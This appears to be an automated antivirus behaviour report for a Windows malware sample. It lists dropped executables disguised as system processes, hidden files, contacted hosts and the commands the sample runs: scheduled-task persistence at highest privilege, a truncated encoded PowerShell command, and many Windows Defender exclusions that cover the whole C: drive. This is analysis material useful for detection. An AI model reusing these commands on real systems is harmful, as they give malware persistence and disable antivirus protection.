Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\csrssc
- <SYSTEM32>\tasks\r3loadr
- <SYSTEM32>\tasks\wudfhost
- <SYSTEM32>\tasks\spoolsv
- <SYSTEM32>\tasks\spoolsvs
- <SYSTEM32>\tasks\wudfhostw
- <SYSTEM32>\tasks\wininitw
- <SYSTEM32>\tasks\oxymo
- <SYSTEM32>\tasks\iexplore
- <SYSTEM32>\tasks\taskhost
- <SYSTEM32>\tasks\taskhostt
- <SYSTEM32>\tasks\oxymoo
- <SYSTEM32>\tasks\iexplorei
- <SYSTEM32>\tasks\winlogonw
- <SYSTEM32>\tasks\dwm
- <SYSTEM32>\tasks\smss
- <SYSTEM32>\tasks\dwmd
- <SYSTEM32>\tasks\winlogon
- <SYSTEM32>\tasks\smsss
- <SYSTEM32>\tasks\lsassl
- <SYSTEM32>\tasks\idle
- <SYSTEM32>\tasks\lsass
- <SYSTEM32>\tasks\idlei
- <SYSTEM32>\tasks\csrss
- <SYSTEM32>\tasks\wininit
- <SYSTEM32>\tasks\r3load
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Modifies file system
Creates the following files
- %APPDATA%\javaupdate.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\b75386f1303e64
- %ProgramFiles%\icq\oxymo.exe
- %ProgramFiles%\icq\d1b713e45d9d1d
- C:\totalcmd\language\iexplore.exe
- C:\totalcmd\language\9db6e019d4f04e
- C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\wininit.exe
- C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\56085415360792
- %ProgramFiles(x86)%\windows media player\4e12acd9d213c7
- <Current directory>\480b7989c529f6
- C:\totalcmd\language\oxymo.exe
- C:\totalcmd\language\d1b713e45d9d1d
- C:\far2\pluginsdk\headers.pas\spoolsv.exe
- C:\far2\pluginsdk\headers.pas\f3b6ecef712a24
- %HOMEPATH%\favorites\msn websites\wudfhost.exe
- %HOMEPATH%\favorites\msn websites\480b7989c529f6
- <Current directory>\wudfhost.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe
- %ProgramFiles(x86)%\windows media player\r3load.exe
- C:\far2\fexcept\6203df4a6bafc7
- %ProgramFiles%\gw\idle.exe
- %APPDATA%\r3load.exe
- %TEMP%\oxymo.exe
- %TEMP%\tmp40d6.tmp.exe
- C:\totalcmd\language\csrss.exe
- C:\totalcmd\language\886983d96e3d3e
- %ProgramFiles(x86)%\windows defender\en-us\lsass.exe
- %ProgramFiles(x86)%\windows defender\en-us\6203df4a6bafc7
- %ProgramFiles%\gw\6ccacd8608530f
- %ProgramFiles%\inphasenxd\886983d96e3d3e
- %WINDIR%\policydefinitions\en-us\dwm.exe
- %WINDIR%\policydefinitions\en-us\6cb0b6c459d5d3
- <Current directory>\winlogon.exe
- <Current directory>\cc11b995f2a76d
- %CommonProgramFiles%\speechengines\microsoft\smss.exe
- %CommonProgramFiles%\speechengines\microsoft\69ddcba757bf72
- %ProgramFiles%\inphasenxd\csrss.exe
- C:\far2\fexcept\lsass.exe
- %TEMP%\tmp5d7a.tmp.exe
Sets the 'hidden' attribute to the following files
- %APPDATA%\javaupdate.exe
- C:\far2\pluginsdk\headers.pas\spoolsv.exe
- C:\totalcmd\language\oxymo.exe
- %ProgramFiles(x86)%\windows media player\r3load.exe
- C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\wininit.exe
- C:\totalcmd\language\iexplore.exe
- %ProgramFiles%\icq\oxymo.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe
- C:\far2\fexcept\lsass.exe
- %ProgramFiles%\inphasenxd\csrss.exe
- %CommonProgramFiles%\speechengines\microsoft\smss.exe
- <Current directory>\winlogon.exe
- %WINDIR%\policydefinitions\en-us\dwm.exe
- %ProgramFiles%\gw\idle.exe
- %ProgramFiles(x86)%\windows defender\en-us\lsass.exe
- C:\totalcmd\language\csrss.exe
- %HOMEPATH%\favorites\msn websites\wudfhost.exe
- <Current directory>\wudfhost.exe
Network activity
Connects to
- 'ox######pijs.herokuapp.com':443
- 'x.##2.us':80
- 'microsoft.com':80
- 'cr#.####b.amazontrust.com':80
- 'cr#.####ca1.amazontrust.com':80
TCP
HTTP GET requests
- http://x.##2.us/x.cer
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
- http://cr#.####b.amazontrust.com/sca1b.crt
- http://cr#.####ca1.amazontrust.com/rootca1.cer
Other
- 'ox######pijs.herokuapp.com':443
UDP
- DNS ASK ox######pijs.herokuapp.com
- DNS ASK x.##2.us
- DNS ASK microsoft.com
- DNS ASK cr#.####b.amazontrust.com
- DNS ASK cr#.####ca1.amazontrust.com
Miscellaneous
Searches for the following windows
- ClassName: 'AutoHotkey' WindowName: '%APPDATA%\r3load.exe'
Creates and executes the following
- '%APPDATA%\javaupdate.exe'
- '%APPDATA%\r3load.exe'
- '%TEMP%\oxymo.exe'
- 'C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\wininit.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAG4AdABrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAbQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...' (with hidden window)
- '%APPDATA%\javaupdate.exe' ' (with hidden window)
- '%APPDATA%\r3load.exe' ' (with hidden window)
- '%TEMP%\oxymo.exe' ' (with hidden window)
- 'C:\msocache\all users\{90140000-00a1-0409-1000-0000000ff1ce}-c\wininit.exe' ' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAG4AdABrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAbQBzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwA...
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "r3loadr" /sc MINUTE /mo 11 /tr "'%ProgramFiles(x86)%\Windows Media Player\r3load.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "r3load" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Windows Media Player\r3load.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "r3loadr" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Windows Media Player\r3load.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "OxymoO" /sc MINUTE /mo 12 /tr "'C:\totalcmd\LANGUAGE\Oxymo.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Oxymo" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\Oxymo.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "OxymoO" /sc MINUTE /mo 5 /tr "'C:\totalcmd\LANGUAGE\Oxymo.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 11 /tr "'C:\Far2\PluginSDK\Headers.pas\spoolsv.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Far2\PluginSDK\Headers.pas\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\Far2\PluginSDK\Headers.pas\spoolsv.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 9 /tr "'%HOMEPATH%\Favorites\MSN Websites\WUDFHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc ONLOGON /tr "'%HOMEPATH%\Favorites\MSN Websites\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 11 /tr "'%HOMEPATH%\Favorites\MSN Websites\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 11 /tr "'<Current directory>\WUDFHost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc ONLOGON /tr "'<Current directory>\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "WUDFHostW" /sc MINUTE /mo 12 /tr "'<Current directory>\WUDFHost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/xhtaov/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/totalcmd/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Far2/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\wscript.exe' "%TEMP%\ab58f3c0-c4e5-433b-88e1-83d6fe24c698.vbs"
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 6 /tr "'C:\totalcmd\LANGUAGE\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\totalcmd\LANGUAGE\csrss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\totalcmd\LANGUAGE\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Windows Defender\en-US\lsass.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Windows Defender\en-US\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 14 /tr "'%ProgramFiles(x86)%\Windows Defender\en-US\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 11 /tr "'%ProgramFiles%\gw\Idle.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'%ProgramFiles%\gw\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'%ProgramFiles%\gw\Idle.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'%WINDIR%\PolicyDefinitions\en-US\dwm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'%WINDIR%\PolicyDefinitions\en-US\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'%WINDIR%\PolicyDefinitions\en-US\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'<Current directory>\winlogon.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc ONLOGON /tr "'<Current directory>\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'<Current directory>\winlogon.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "smsss" /sc MINUTE /mo 13 /tr "'%CommonProgramFiles%\SpeechEngines\Microsoft\smss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "smss" /sc ONLOGON /tr "'%CommonProgramFiles%\SpeechEngines\Microsoft\smss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 11 /tr "'C:\totalcmd\LANGUAGE\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "OxymoO" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\ICQ\Oxymo.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "Oxymo" /sc ONLOGON /tr "'%ProgramFiles%\ICQ\Oxymo.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "OxymoO" /sc MINUTE /mo 12 /tr "'%ProgramFiles%\ICQ\Oxymo.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 9 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhost" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Far2\FExcept\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "taskhostt" /sc MINUTE /mo 7 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\taskhost.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'C:\Far2\FExcept\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Far2\FExcept\lsass.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'%ProgramFiles%\InphaseNXD\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'%ProgramFiles%\InphaseNXD\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'%ProgramFiles%\InphaseNXD\csrss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "smsss" /sc MINUTE /mo 11 /tr "'%CommonProgramFiles%\SpeechEngines\Microsoft\smss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\wscript.exe' "%TEMP%\70cf63b1-017c-4210-9cfe-43c27506b17a.vbs"
